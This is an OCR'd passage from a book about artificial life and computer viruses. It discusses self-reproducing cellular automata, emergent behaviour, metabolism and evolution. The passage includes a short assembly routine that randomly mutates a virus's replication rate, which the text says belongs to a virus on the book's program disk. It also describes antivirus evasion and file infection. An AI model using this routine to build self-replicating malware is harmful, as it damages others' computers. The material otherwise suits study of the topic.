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Fig 4.2: Langton’s automaton.

tions to execute—and passively—as uninterpreted data which is
merely copied. Such an automaton would avoid trivial physics-
driven reproduction by forcing the construction of the copy to be
actively directed by the automaton itself, rather than passively, by
the transition rules. (At the same time, the automaton could take
advantage of the transition rules to facilitate its job.) Langton
suggested that such restrictions were sufficient to differentiate
self-reproduction from physics-driven replication.

Using his new rules, Langton was able to demonstrate a vastly
simpler self-reproducing automaton, which consisted of 94 cells in
a 10 by 15 array, with eight states per cell. Such a structure was
actually simple enough to model on a PC and study its behavior!
Figure 4.2 shows the detailed structure of Langton’s automaton in
its cellular array. Figure 4.3 shows its time-evolution and how
reproduction occurs. The Program Disk for this book also includes
a program, SRA L AB, which demonstrates the Langton automa-
ton on a PC and allows the user to experiment with different
configurations and transition rules.

By 1989 John Byl” had demonstrated a number of automata
much simpler than Langton’s which were also capable of self-

7 John Byl, “Self-Reproduction in Small Cellular Automata,” Physica D 34, pp.
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reproduction. One, for example, was an automaton consisting of 12
cells of six different possible states.® What a far cry from Von
Neumann’s giant! (See Figure 4.4)

The problem with taking self-reproduction to the limits which
Byl did is simply that the distinction between information-driven
and purely physics-driven reproduction begins to get seriously
blurred. Let’s take a look at this: Langton’s automaton contains a
“tape” of a minimum of 28 cells. It is this tape which contains the
information which the artificial organism uses to reproduce itself.
Disallowing the sheath state (2), these cells can have seven possible
states, so there are some 7°% =4.6 x 10?3 possible tapes which could
be inserted into the automaton. In all likelihood only a few (it’s
hard to tell) will effect self-reproduction in Langton’s automaton.
If a computer could check a thousand combinations per second, it
would take 14 trillion years to check them all. That’s a thousand

295-299.
8 See the configuration files BYL for SRA_LAB on the Program Disk.

Fig. 4.4: Byl’s automaton.

00000000000000O0O

0000200000000000
000000 0004200000000000
002200 0003200000000000
023120 0013200000000000
023420 0001200000000000
002500 0024400220000000
000000 0243202142010000
. 0213202334133400
Initial state 0022000224222220

000000000000000O00O

After several time steps
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times the age of the universe. The rarity of a useful tape suggests
that the reproduction of Langton’s automaton is a highly informa-
tion-driven reproduction scheme. It is entirely unreasonable to
suggest that simply throwing a random tape into Langton’s automa-
ton will result in self-reproduction. On the other hand, using Byl’s
12 cell, 6 state automaton, the “tape” is only five cells long, each
with 5 possible states. Thus, only 5° = 3125 possible tapes might
be constructed. All of these can easily be checked by computer, and
only 3 of them result in self-reproduction.’ The chances of arandom
tape yielding self-reproduction is thus 1 in 1042. While the chances
are small, are they small enough? What if the chances were one in
100? one in 10? Where does one start saying that reproduction is
physics-driven and not information-driven?

One must be careful not to be betrayed by the visual appeal in
this game. Certainly Byl’s automaton has the “feel” of a reproduc-
ing cell. It is a round glob which, over a period of time, succeeds
in producing a second round glob right next to it. However one can
easily construct an automaton with exactly the same information
content dependence that effects ““ self-reproduction” —only it looks
like crystal growth—the automaton grows in one direction with a
complex but repeating pattern which reminds one of the growth of
aone-dimensional crystal lattice. Such an automaton may look very
different, but the information content and the reproduction are
identical.!® (See Fig. 4.5)

So does Byl’s automaton mimic a living organism or a crystal
of moderate complexity? This is a very difficult question to answer,
and it brings us right up against some of the philosophical questions
which we need to look at hard in order to understand life. At least
for now we have some idea of what self-reproduction entails as

9 The programs CHECKB1 and CHECKB2 on the Program Disk allow you to
check every tape. They give the following results: 3 different tapes give
Byl-like automata (tape 53341, the original, and also 51334 and 54133). If we
allow the sheath state (2) in our calculation, we get two other interesting tapes,
10205 and 10222 that result in very different reproducing automata.

10 This automaton is also on the Program Disk. The configuration files for it are
called CRYSTAL, and should be used with SRA LAB.
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Fig 4.5: The CRYSTAL automaton.

modern AL researchers see it—and we can cite some examples of
it—even if we are not completely clear on where to draw the line
between information-driven self-reproduction and physics driven
reproduction.

Viruses and Self-Reproduction

Does a virus both use information as instructions to execute
and as uninterpreted data to copy? Most certainly it does! For
example, consider the INTRUDER virus discussed in The Little
Black Book of Computer Viruses. It obviously executes the code of
which it consists. Yet at the same time, in the INFECT routine, it
takes all of that code and appends it to the EXE file it is infecting.
At that point INTRUDER is using its code as uninterpreted data.
This is a very common method of operation for viruses. Thus a
computer virus does indeed effect self-reproduction according to
Langton’s definition.

In fact, computer viruses are commonly set apart from ordinary
programs because they reproduce. Normal programs do not repro-
duce, but, by definition, viruses do. From their construction, we can
see that their reproduction is not very different from other self-re-
producing automata.



Emergent Behavior

In a biological organism, the DNA determines the physical
characteristics of an organism. It is essentially the medium in which
the “program of life” is written. However, the relationship between
that program in its raw form—the DNA—and the manifest expres-
sion of it in a living organism is extremely obtuse. It is the
obtuseness of this relationship that forms the core of the idea of
emergent behavior. To understand this concept better, let’s look at
it first within the context of biological organisms, and then we’ll
take a look at how artificial life fits into the picture.

Let’s start by looking at how DNA works. The DNA molecule
could properly be described as a one dimensional crystal, or fiber.
However, unlike the crystals we normally think of, DNA is an
aperiodic crystal. Rather than being composed of a single molecule
(called a nucleotide) repeated ad infinitum, DNA consists of four
different nucleotides—called bases—which are all functionally
identical with respect to the structure of the DNA itself. These bases
may be substituted for one another in the crystal cells without
altering the physical structure of the DNA molecule. Therefore, one
could conceivably construct a DNA molecule to encode any kind
of information desired. For example, a byte could be encoded by a
string of four nucleotides; a megabyte of data could be encoded into
a DNA molecule four million nucleotides long, which is about the
size of the DNA molecule in a simple one-celled bacterium. (A
pretty compact storage mechanism!)

In fact, the DNA molecule stores information necessary to
construct proteins. Proteins are complex chains of amino acids
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which perform all the functions of cell metabolism, including
reproduction. In all there are 20 different amino acids which living
organisms use to build proteins with. Each amino acid is encoded
in the DNA by a three-nucleotide chain. A protein, which may
consist of a hundred or so amino acids, is represented in the DNA
by a sequence of three-nucleotide chains called a gene. Each strand
of DNA in a cell, which consists of many hundreds of genes, is
called a chromosome. See Appendix B for more information about
the chemistry of life.

The genes in DNA might be thought of as complex “instruc-
tions” which are “executed” by proteins which perform every kind
of cell function, ranging from digestion to making hair to reproduc-
tion. The encoded DNA instructions for an organism, taken as a
whole, are referred to as its genotype (from the word gene). In the
case of a living organism, the “execution of the instructions”
consists of the proper functioning of the various proteins in a cell
to produce life. I say “proper” because an imbalance results in the
various proteins attacking each other, and the DNA, resulting in
death and decomposition instead of life. This extremely complex
“execution of the instructions” is called the phenotype (from the
word phenomenon). The phenotype is the outward appearance of
the organism, its life span, its dietary preferences, its instincts, etc.

One of the great questions of biology is how the genotype
translates into a phenotype. That is, how does a particular genetic
code result in a given feature? Until forty years ago this question
was purely academic, because our understanding of biochemistry
was so limited. Now we have a vast amount of data about the
detailed genetic structure of a wide variety of organisms. And the
question is still barely tractable due to its sheer complexity.

One might view a single cell as a package of little machines
(proteins) each performing its own specialized function within the
cell. The DNA specifies how each of those machines is to be
built—and what machines are to be built—but it is not in any sense
the director of these machines. It does not control or coordinate
their activities once they are built. Quite to the contrary, the
machines manage and maintain the DNA. In fact, apart from
invoking some kind of vitalism, there appears to be no “director”
of these machines—no centralized coordinator of how the ma-
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chines should work together. The biological organism is more like
a complex parallel-executing distributed processing environment
than a serial computer.

The concept of emergent behavior revolves around this ques-
tion of how the genotype—the description of what machines are to
be built—determines the phenotype—the coordinated operation of
those machines. In short, “emergent behavior” is simply the idea
that the behavior of a complex living organism is not directed by a
centralized program. Rather, behavior emerges from the complex
interaction of the individual parts. The concept of emergent behav-
ior also suggests that the behavior of the organism as a whole
exhibits features which could not be deduced from the behavior of
the individual parts.

In essence, emergent behavior is what makes life interesting.

When it comes to constructing artificial organisms, the idea of
emergent behavior can also be employed, by designing a modular
organism with locally interacting parts, but no centralized control-
ler. The behavior of the parts as a whole is not specified. Since the
interaction of the parts is normally non-linear, the behavior of the
whole organism will not necessarily be an obvious result of the
behavior of the parts. The whole is thus, in a sense, greater than the
parts.

In this way, computer programs can model the genotype-to-
phenotype emergence phenomenon observed in living organisms.
The “genotype” for an artificial organism is the specification of
the individual machines. The “phenotype” is the behavior of these
machines working together.

The emphasis of emergent behavior in AL work has tended to
steer researchers in the direction of highly parallel systems, and
particularly toward modeling artificial life using cellular automata.
The serial computing environment does not seem to lend itself well
to the idea of emergent behavior, because serial programs tend
toward centralized rather than distributed control.

However, one cannot simply dismiss serial programs. Any
computation done on any computer, no matter how massively
parallel, can also be carried out on a simple serial universal Turing
machine. That is a mathematically proven fact. ' And certainly one
wouldn’t want to say one implementation of an algorithm exhibits
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emergent behavior, and therefore qualifies as life while another
implementation of the exact same algorithm does not! In fact, much
AL work using cellular automata is actually modeled on a serial
computer. So at one level the automaton looks parallel. At another
level, though, it is completely serial. So we can’t jump to the
conclusion that a serial program is necessarily defective in AL
research. We might wonder, though, to what degree emergent
behavior is representation dependent, more a matter of appearance
than of any quantifiable property of a system.’

In addition, the whole idea of emergent behavior might be just
arelic of the kind of science people did before they had computers.
To suggest that phenomena will arise in a system that could not be
deduced from the behavior of the parts suggest some formal method
of deduction. If that formal method is analytically solving analytic
equations, then maybe we are calling something emergent that
really isn’t—but we’re just not smart enough to find the right
equations or their solutions. On the other hand, perhaps we should
scrap that game altogether, and call anything we can work out on
a computer a valid deduction. After all, couldn’t I work the same
thing out with pencil and paper—at least in theory?

If emergent behavior is representation dependent, and depend-
ent on some formal concept of deduction, then we have to wonder
whether it is even real. Or is it just the perception of our limited
minds. Once again, we find ourselves getting into somewhat of a
philosophical muddle. This we’ll take up more seriously in a few
chapters. For now, let’s just accept the usual AL wisdom about
emergent behavior, and apply it to viruses.

Viruses and Emergent Behavior

1 Roger Penrose, The Emperor’s New Mind, (Oxford University Press, New
York: 1990) pp. 30-73.

2 It seems as if the AL community has at least a subconscious appreciation of
this problem, as “emergent behavior” is often used as a convenient label for
any unexpected, unpredicted results, not just those arising from the complex
dynamics of distributed processing. Thus, one might find it being used to
describe genetic algorithms, etc., which are not necessarily parallel in any
sense.
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Viruses apparently fall short of the ideal of emergent behavior.
They tend to follow the paradigm of serial, centralized control,
rather than that of a parallel, distributed organization involving a
complex relationship between many small parts which interact to
produce the phenotype. Viruses were originally developed on
serial, single-user computer systems by programmers used to de-
signing centralized control structures. Thus it is hardly surprising
that they are what they are. They were not originally attempts to
model living organisms. Still, if we are to suggest that viruses are
alive in some sense, we ought to deal with emergent behavior
carefully.

There are two problems we face. One is purely technological,
and one is deeply philosophical. The latte— which involves trying
to understand the true nature of emergent behavior—we have only
hinted at, and we will take it up more fully later. The technological
problem with viruses is that they don’t even appear to exhibit
emergent behavior. The relationship between genotype and pheno-
type seems somewhat trivial in a centralized, serial program. The
phenotype is the genotype executed by the processor. And if you
have the assembly language listing of the virus, you can study it
and understand the phenotype. Of course, if one were to look at a
file full of the miscellaneous bytes called executable machine
language instructions, one would have a hard time imagining what
the execution of those bytes would really look like. So we can’t say
that the relationship between genotype and phenotype is entirely
trivial.

Viruses are normally designed from the top down. A given
behavior is imagined by the author, and a program is designed to
produce this behavior. The fewer “surprises” the better. Yet emer-
gence suggests exactly that—interesting “surprises.” So serial
virus programs don’t do very well at even giving the appearance of
emergence. Instead, they give the appearance of careful centralized
control. The idea of emergent behavior moves us away from
centralized control toward localized, distributed control.

On a single-user operating system like DOS, one is pretty much
stuck with serial programming. In that environment, viruses may
never appear to exhibit anything like emergent behavior. However,
a multi-threaded preemptive multitasking environment like OS/2
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provides some fascinating possibilities. We could design a virus
which looks much more like a living organism, with different parts
that perform different functions, working independently and yet
working together. Such a virus could exhibit at least the appearance
of emergent behavior—as much of an appearance as anything AL
research has produced.

Now, as [ said at the start of this section, we aren’t going to use
a set of hard and fast rules to determine what is alive and what is
not. We just don’t understand life well enough to do that yet. Just
because viruses don’t look very “emergent” we aren’t going to
conclude they’re not alive. All the more so since we have some
unanswered questions about emergence itself. In fact, the apparent
lack of emergent behavior will be valuable in the next part of this
book, when we dig into evolution. That’s because the relatively
trivial genotype to phenotype connection facilitates our analysis of
evolution, while evolution itself is not particularly dependent on
emergence to work.



Metabolism and
Adaptability

Now I want to discuss two different mechanical aspects of life:
metabolism and adaptability. Although different phenomena, I
lump them together because in our world of bits and bytes, they are
quite useful at helping us to distinguish between self-reproduction
and physics-driven replication. Beyond that, they become rather
nebulous, and often misleading as to what life is and is not.

Metabolism

Concisely put, most living organisms use energy to maintain
themselves in a state of low entropy and carry out their activities,
including self-reproduction. Biological organisms either make use
of direct energy from the sun (plants/photosynthesis), or they
convert energy stored in complex organic molecules into forms
they can use (animals/digestion). To understand this process, let’s
take a look at the second law of thermodynamics.

The second law is one of the most universally applicable laws
of physics known. It applies to microscopic dust particles as well
as to galaxies and even the whole universe. Simply put, it states that
in any isolated system, entropy must stay the same or increase with
time. It cannot decrease. Entropy is a measure of the “orderliness”
of a system—the greater the entropy, the less the order.! Thus, the
second law simply states that real-world systems, left to them-
selves, proceed from states of greater order to states of less order—
they decay.
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This second law applies to everything, including living organ-
isms. If a living organism is placed in a closed environment, it will
soon die and decay. The complex organic molecules it is made of
will attack each other and break down into simpler ones. Living
organisms can only avoid the immediate consequences of second
law decay because they are not closed systems. They continually
utilize matter and energy, which flow through them, to keep their
entropy low. This flow of energy moves them away from the
high-entropy equilibrium point so they can sustain life. (See Figure
6.1) If for any reason the energy flow stops, they die and decay.
This was illustrated by the Biosphere II, a pop-ecological project
near where I live, in which a few people were enclosed for 2 years
in a “closed” ecosystem. Of course, it was closed only to the
transfer of matter. Our gas company sent fliers out boasting of how
they were selected to provide energy for the project, which con-
sumed as much energy as some 4000 ordinary homes. Without that
energy flow—and the tremendous energy from the sun—the in-
habitants would have been doomed.

The process by which a living organism uses matter and energy
is its metabolism. Presumably artificial organisms should have a
metabolism in some sense—an ability to convert matter and energy
into vital processes which the organism uses to locally reduce
entropy. For real-world organisms, these concepts can be mathe-
matically quantified.> Of course, defining just what terms like
matter and energy mean in the realm of cellular automata is rather
difficult, unless we go back to the physical machine which is
running the automaton program. (Entropy is a different story, since
it can be mathematically defined.) Such concepts are closely wed-
ded to real-world laws of physics, and they tend to lose all signifi-
cance when applied to a completely abstract system.

The requirement for a metabolism can become fuzzy even in
real-world biology, though. For example, biological viruses do not

1 Note that the concept of order can be mathematically quantified. We’ll discuss
that more later.

2 James P. Wesley, Ecophysics (Charles Thomas, Springfield, Illinois:1974) pp.
36 ff.
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Fig. 6.1: Metabolism uses energy to lower entropy.

have a metabolism of their own. They consist of little more than a
strand of DNA and some protective material. This structure is inert
until it takes control of another cell’s metabolism and uses it to
accomplish the virus’ plan instead of the cell’s.

Adaptability

Individual living organisms can generally both interact with
and modify their environment, as well as adapt to small changes in
that environment. This makes an organism flexible, and stable in
the face of change. They can adapt to heat and cold, or a low food
supply, or even the presence of other organisms.

Of course, the ability of an organism to adapt to its environment
is limited. When faced with an extreme change, e.g., a fish out of
water, the organism may not be capable of adapting, in which case
it dies.

Artificial organisms should also be capable of interacting with
their environment and adapting to it in a limited way. Of course,
one should not expect an artificial organism to be capable of
adapting to any arbitrary change in its environment. It can adapt to
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some changes, while others might completely throw it off balance,
just as in the case of biological organisms. The change that short-
circuits an artificial organism does not have to somehow seem big,
either. Minute quantities of Arsenic in a pond are just as capable of
killing the fish as draining the pond.

Self-Reproduction, Metabolism and
Adaptability

The real value of metabolism and adaptability lie in their ability
to help us distinguish between self-reproduction and physics-
driven reproduction. Think for a moment about the growth of a
crystal of Sodium Chloride in a saturated salt solution. As the
saturation level of Sodium Chloride increases beyond a certain
point, a seed crystal introduced into the solution will grow. The
order of the crystal lattice is replicated by the Sodium and Chlorine
atoms in the solution. This is a classic case of physics-driven
reproduction. In this situation, the environment (the solution) must
be carefully controlled in order to make the reproduction work. A
slight change in temperature, saturation, or impurities, and the
process will reverse itself, causing the seed crystal to dissolve
entirely. The adaptability of such a system is almost nil. Likewise,
there is no real metabolism involved in this example. There is no
machine working to make energy flow through it and pull it away
from equilibrium—just simple physics driving the whole system
toward equilibrium.

Viral Metabolism

As I mentioned above, it is rather difficult to define concepts
like matter and energy entirely within an abstract world of bits and
bytes, short of designing a system which simply mirrors our world.
The alternative is to look at real programs which run on computers
that exist in the real world. In that context, computer viruses
certainly do use matter and energy to manipulate entropy. That is,
they use the physical components of the computer system and the
energy which the computer consumes in order to maintain their
existence and replicate. Replication consists of making a copy of a



Metabolism and Adaptability 43

certain sequence of magnetic domains on a disk drive. As the virus
continues copying itself, this sequence of domains repeats itself
again and again on the drive, increasing its organization (mathe-
matically speaking—if you’re the one being infected, you may not
see it that way) and lowering its entropy. As such, a computer virus
does have a metabolism.

Of course, one might say that just about any computer program
can use energy to impose its order on the disk. More often, though,
programs are concerned with allowing the user to impose his own
order on the disk. They are conduits, rather than being self-suffi-
cient. Your word processor allows you to write letters, etc. Those
letters represent order on your computer’s disk, but the word
processor did not create that order itself. It needed your intelligent
input to create it.

Viral Adaptability

Certainly most computer viruses are capable of adapting to the
environment they find themselves in. For example, they can detect
the presence of another copy of themselves and adjust their behav-
ior to avoid double-infecting a file, and to stop infecting files
altogether once a disk is fully infected. Likewise, they are capable
of adapting to hostile programs, such as anti-virus utilities, and
remaining quiet while such utilities are in place, or taking measures
to escape detection. Likewise, viruses are capable of modifying
their environment to promote their own welfare. For example, the
INTRUDER virus in The Little Black Book of Computer Viruses
can change an EXE file’s attribute from read only to read/write so
that it can infect it.

Computer viruses have also shown a phenomenal ability to
adapt to changes in programming techniques and environments.
For example, it is amazing that the Jerusalem virus is still capable
of infecting a wide variety of executable files and function properly
five years after it was released. Most of the programs it infects today
were not even written when it was first released. All kinds of new
programming techniques, compilers and operating environments
have been infected—yet Jerusalem still works very effectively.
That is not to say it does not have its troubles. For example,
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Jerusalem uses an interrupt which conflicts with a Novel network,
so it will not function in that environment very well.

Thus viruses can be more or less adaptable to their environ-
ment. They can interact with their surroundings, modify them as
necessary to promote their survival, and they can adapt to their
environment.

Again we can say the same thing of ordinary programs, though.
Any common word processor will run in a variety of environ-
ments—the more the better. So adaptability is not something
unique to living organisms or computer viruses.



Evolution

Most biological organisms seem to have at least some capacity
for Darwinian-style evolution. Any viable organism has a prog-
eny—if it does not, it will soon be extinct. Generally, the genetic
makeup of that progeny is not quite the same as the genetic makeup
of the parents. Thus, the genetic composition of a population can
change over time. In fact, the genetic composition of a population
can be influenced by external factors, as one gene proves to have
more survival value than another.

As far as the mechanical properties of life go, / am going to
treat evolution as a second order phenomenon. 1 am doing that
because of the abysmal state of current experimental and theoretical
evolutionary biology. Given an individual, or a population, there is
no way (at present) to determine what it will evolve into, or even
whether it has the capacity to evolve into something else at all. This
statement may sound somewhat heretical in the ears of the typical
modern scientist—and it is, intentionally so.

Certainly, reading most popular literature on evolution, one
gets the impression that evolutionary processes are infinitely pow-
erful—that any organism can mutate into any other organism, given
a reasonable amount of time and the proper environmental pres-
sures. The fact that no predictions can be had stands in strange
counterpoint to such omnipotence.

One might suspect that some genetic codings result in organ-
isms that are much more capable of evolving than others. For
example, in the extreme, if every one-nucleotide substitution of a
particular coding was immediately lethal, we might expect that
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organism to have a harder time evolving than one which had 1000
neutral one-nucleotide substitutions and 50 potentially beneficial
ones.

When extended to AL, one might expect to find a similar
variability—perhaps on an even wider scale. Some artificial organ-
isms may not be realistically capable of any evolution. Others may
be capable of far more than what the real-world can support.

Against this backdrop, I think the approach of refusing to call
something alive unless it can evolve is rather blind, though this
school of thought has strong support among the AL community. It
could exclude a wide variety of potentially interesting phenomena,
including some life on earth.

Rather, I imagine some sort of evolvability coefficient, ¢, that
could be assigned to any self-reproducing automaton, where an £=0
would mean evolution could not occur, and a large € would mean
lots of evolution could occur very fast. And I would prefer not to
use ¢ to determine whether something is alive or not, but to study
evolution itself. Although this € is obviously very naive, it helps us
to see evolution as a secondary phenomenon. In the abstract,
evolution is little more than a study of genetic change. Thus,
wherever you have self-reproducing automata, you have evolution.
Of course, =107 is just as much evolution as =10 is, in this broad
sense of the term.

If ordinary evolutionary biology were advanced enough to
quantify evolution, we might be able to determine some minimal
value of ¢ to qualify an artificial organism as “living”. Since
evolutionary biology is not that advanced, though, it seems rather
absurd to use an unquantifiable phenomenon as a primary dividing
line between life and non-life, especially when it cannot even be
observed in day to day life except on the scale of “ microevolution™.

With all of that said, an artificial organism might be capable of
at least some limited evolution. However it need not be some
wonderful seed from which myriads and myriads of increasingly
complex artificial organisms could spring forth. To impose the
condition of unlimited evolvability on an artificial organism would
be inappropriate. Although I do not consider evolution a necessary
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prerequisite for something to be alive, the question of whether
viruses could evolve or not is still interesting.

Evolution of Computer Viruses

When we begin talking about the evolution of computer vi-
ruses, it is necessary to clear up some confusion: Polymorphic, or
self~-mutating viruses are often called evolutionary, although that is
not true in the sense of Darwinian evolution.

A polymorphic virus is a virus which encrypts its code differ-
ently each time it infects a new program. The primary purpose of
this encryption is to defeat virus scanners which search for a string
of code in order to locate viruses. The self-mutating virus simply
avoids giving the scanner a fixed string to search for by encrypting
its code differently each time.

This kind of a mutation scheme—in and of itself—does not fit
the model for Darwinian evolution. Instead, it is somewhat like a
chameleon camouflaging itself. The polymorphic virus changes
what it looks like to the outside world every time it reproduces, but
it doesn’t change its essential function (unless additional features
besides encryption have been added). None of the mutations, in and
of themselves, improve the ability of the virus to survive. One
mutation is not normally favored over another.

Obviously, a bug in a decryption scheme, or a fluke in an
operating system or anti-virus program might give one encryption
a better (or worse) ability to survive than another. However every
time the virus reproduces, its children look completely different,
but operate in essentially the same manner. No “survival of the
fittest mechanism” can work in such an environment because the
parents don’t genetically pass any encryption information on to
their children. In short, polymorphism should not be confused with
Darwinian evolution. '

1 This does not, of course, mean that a polymorphic engine could not incorporate
Darwinian evolution into its operation. In fact, we will discuss just such an
engine later in this book.
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Practically speaking, Darwinian evolution can only operate
against a background of relative stability. An organism which
passes on most of its characteristics to its progeny is a prerequisite.
A few characteristics may change from time to time, resulting in a
new genotype. That new organism will then normally pass on its
new characteristics to its progeny. If the new organism is more
successful than the old (i.e., on the average the new succeeds in
reproducing more often than the old) then the relative population
of new versus old can increase, and possibly replace the old
entirely. Possibly a stable population of both types will result. In
this way a population of organisms (or artificial organisms) can
evolve from old to new.

It seems reasonable to suggest that genetic change—and the
resulting evolution—can be of two types: accidental or pre- pro-
grammed. In nature, accidental evolution might be the result of a
stray cosmic ray striking some organism and altering its genetic
structure. Most such alterations will be immediately lethal, but
some might only be harmful. Fewer still might be neutral, and rarely
such an alteration might be beneficial. A “beneficial” alteration is
essentially defined as one which would have some survival value
for the organism. In such a situation, the mutated organism would
reproduce successfully, and possibly replace the original in a large
number of generations.

The second type of genetic change—pre-programmed—infers
that some technique of modifying the genetic structure of an
organism from generation to generation is built in to its very coding.
In the natural world, simple sexual reproduction is a good example.
It affords a number of pre-programmed means for effecting genetic
change. For example, human genetic information is broken up into
23 separate strands of DNA known as chromosomes, each one of
which has an equal chance of coming from the father or mother at
conception. In this way, planned change takes place from genera-
tion to generation. The child is not normally the same as either
parent, but he is similar to both. In addition, a phenomenon called
cross-over or chiasma occasionally occurs. When two chromo-
somes come into close proximity, they can occasionally break apart
and combine with each other, so that the child inherits a chromo-
some which did not belong to either father or mother, but contains



Evolution 49

a segment from both. Cross-over provides an additional element of
genetic flexibility which is evidently built right into the reproduc-
tion mechanism.

These pre-programmed means of genetic change give a popu-
lation a way to adapt to environmental changes in an evolutionary
fashion without having to rely on rare accidental mutations. The
theory of evolution doesn’t particularly say anything about zow the
genetic change takes place—only about what happens once vari-
ations exist.?

Potentially, any computer virus could be subject to accidental
mutation. A power glitch while the virus is in memory, or a weak
magnetic domain could conceivably change a bit, which would be
passed on when replicating. Most such mutations would be disas-
trous for the virus, and result in a non-functional or crippled piece
of code. However, if such a mutation occurred in a piece of dead
code space, the virus would simply carry it along from generation
to generation, with no ill side-effects. It is even conceivable that
once in a while such a mutation could be beneficial.

Actually, the phenomenon of viruses carrying around changes
from generation to generation is quite common (though the changes
are not usually chance mutations). For example, the Stoned virus
carries around with it the partition table of the last hard disk which
it resided on.

Additionally, a computer virus can be designed to change itself
in such a way that it will undergo some Darwinian evolution.
Consider, for example, the INTRUDER virus discussed in The
Little Black Book of Computer Viruses. It was a simple virus
designed to infect EXE files. It contained a routine SHOULDRUN,
which controlled the reproduction rate of the virus. The program-
mer could set this routine up to make the virus reproduce every time
it executed, or only very rarely, There is no reason, however, that
one could not design a SHOULDRUN routine which would modify
its own reproduction rate. For example, the routine

2 Indeed, Darwin didn’t even know about genetics when he proposed evolution.
That was discovered by Gregor Mendel in 1866 and ignored by the scientific
community, including Darwin, for years.
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;This routine returns Z if the virus should replicate

RUN_FLG DB 7
SHOULDRUN :
push ds
Xor ax,ax
mov ds, ax
mov bx,46CH ;low word of current time
mov ax, [bx] ;since it’s a fair random #
pop ds
test ah,1 ;mutate or not? 50-50 chance
jnz NO_MUTATE ;no
test ah,2+4 ;increase (75% chance) or
jnz MUT_UP ;decrease (25% chance) rate?
MUT_DOWN :
shr [RUN_FLG],1 ;reproduction more likely
Jmp SHORT NO_MUTATE ;by a factor of 2
MUT_UP:
shl [RUN_FLG], 1 ;reproduction less likely
or [RUN_FLG],1 ;by a factor of 2
NO_MUTATE:
and al, [RUN_FLG] ;set z flag properly
ret ;and exit

will reproduce at a rate controlled by RUN FLG. However, every
other replication also modifies RUN_FLG randomly, either halv-
ing it or doubling it. In this way, over a number of generations,
different versions of this virus will come into being, with all
different replication rates, no matter what the initial rate was set to.
This virus, which we call INTRUDERC-II, is on the Program Disk.

INTRUDER-II virus will exhibit Darwinian evolution. Con-
sider, for example, an ideal world in which no anti-virus software
exists and everybody shares software with their neighbors. In such
a world, the faster the virus reproduces, the more successful it will
be, because reproducing slower has no inherent survival value.
Thus, the world-wide population of this virus will be dominated by
the fastest reproducing varieties, and the slowest reproducing va-
rieties will be rare to non-existent. (See Figure 7.1)

Now, suppose an environmental change took place, and about
half the world’s PC’s had a TSR anti-virus program installed on
them which would catch this virus when it activates, but it could
not scan for it and catch copies which hadn’t activated. Suddenly,
a slowly-reproducing version of our virus gains a certain advantage
over a quickly reproducing one, because someone with anti-virus
software will be less likely to notice it is there. Thus we would
expect the population to shift over a period of generations toward
the more slowly reproducing varieties. Some typical results are
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Figure 7.1: Population of INTRUDER-II without
anti-virus.
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Figure 7.2: Population of INTRUDER-II with
anti-virus.
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depicted in Figure 7.2. The program which does these calculations,
INT_SIM, is included on the Program Disk too.

In conclusion, computer viruses clearly can evolve, and use
evolution to overcome challenges to their survival.



Conclusions

There are many mechanical aspects of life which contribute to
our idea of what life is. I have not discussed all of the properties
which have been proposed here, just those which appear most
important and most certain. Many biological organisms posses all
of these properties, yet exceptions can be found to every one of
them. Thus, no one mechanical property can be used as a litmus
test to say “this is alive and that is not.” However, all of these
properties seem closely tied to life and they give us a better idea of
what life is, from a mechanical point of view.

There is a caveat though: when discussing the mechanical
properties of life, we could not avoid philosophical issues. Trying
to draw the line between self-reproduction and physics-driven
replication proved more difficult than we imagined. Likewise, the
whole idea of emergent behavior appeared somewhat illusory if we
started looking at it too hard. We have to wonder, could the
“emergence” inside a computer be fundamentally different than
the “emergence” in the real world?

Humans are prone to resort to mere appearances to reinforce
claims, to establish doctrines, and build models. Yet if we are to be
good scientists, we must ruthlessly attack appearances to find out
what substance they have. This will be our focus in the second part
of this book.

For now, we can at least say that computer viruses fit our
mechanical conditions fairly well. Only in the concept of emergent
behavior do they appear to fall short. That seems to be a limitation
of single-user operating systems. Perhaps a multi-tasking OS/2
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virus might buy us something in terms of emergent behavior.
However, since we weren’t intent on a litmus test in the first place,
we don’t disqualify a virus when it doesn’t meet all our criteria
(especially those of a questionable nature); neither do we call it
alive if it does. We merely say it has stronger or weaker claims to
life. And from a mechanical perspective, it seems safe to say that
computer viruses have a fairly strong claim to “life”.



Part 11
The Philosophy of Life






The Importance of
Philosophy

In beginning our discussion of the philosophical aspects of life,
I’d like to go back in time and look at pre-scientific ideas about
what life is. At first exposure, such ideas may seem hopelessly
antiquated and irrelevant to what we are trying to do. In fact, they
are anything but irrelevant. Some members of the Artificial Life
community believe that if we can develop something functionally
equivalent to a living organism, it will become actually alive.
Certainly I am not averse to such an idea. Yet our concept of what
“actually alive” even means is rooted in non-scientific ideas about
what life is.

Science has done a great deal in terms of analyzing the mechan-
ics of life, but its effect on our ideas of what is actually alive has
been minimal. The very concept cannot be put in terms accessible
to science. Biologists today often assume in the course of their
research that a living organism is nothing more than a little ma-
chine. After over a century of fighting about that idea, it seems to
have become a given among biologists although largely a philo-
sophical idea. As far as biological research is concerned, such
questions aren’t very important. Science is necessarily limited to
studying the mechanics of life. Thus, I would guess that the average
biologist just doesn’t worry about it too much in his day to day
work. Yet, in focusing on mechanics, science has not somehow
redefined the common idea of what life is. That understanding is
still primarily philosophical and religious.
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The thought that a carbon-based organism (life) is just a little
machine has gained a certain foothold in the minds of modern man.
This foothold is tenuous though. That becomes altogether too clear
when we turn the question around and ask, “Is my little machine
alive?” It may have all the functional characteristics of life . . . but
is it really alive? At this point there is a deep breath of hesitation.
No answer is forthcoming. Somehow an honest man, who is not
pushing some agenda, dares not give a certain word. Why does he
hesitate? The deeper philosophical issues suddenly loom very
large. And what are those deeper philosophical issues but the very
ancient ideas about life which have persisted for millennia, and
which most of us grew up with? So we explore them.

The big surprise we shall encounter is that these ancient philo-
sophical ideas are much more than obsolete baggage to be rid of.
They are of pivotal importance to what we are discussing, and they
will bring us right back to the problems we had when discussing
the mechanical aspects of life—problems like defining the bound-
ary where physics-driven reproduction stops and self-reproduction
begins, or the reality of emergent behavior.



Ancient Philosophy and
Modern Science

It seems that all men everywhere consider life to be holy in the
sense of something deserving deep respect, awe and reverence.
Many primitive peoples simply worship living things, or use them
to sacrifice to their gods. More sophisticated people work to protect
life and preserve the environment. Some scientists spend their
whole lives studying life or trying to create it themselves, and many
religious groups teach that God created it. Whether worshiping it
or protecting it, whether viewing its creation as a goal to be attained,
or as an incomparable divine act, men revere life. This attitude
seems to be an aboriginal instinct which transcends space and time,
language and cultural barriers. Though it may be expressed in many
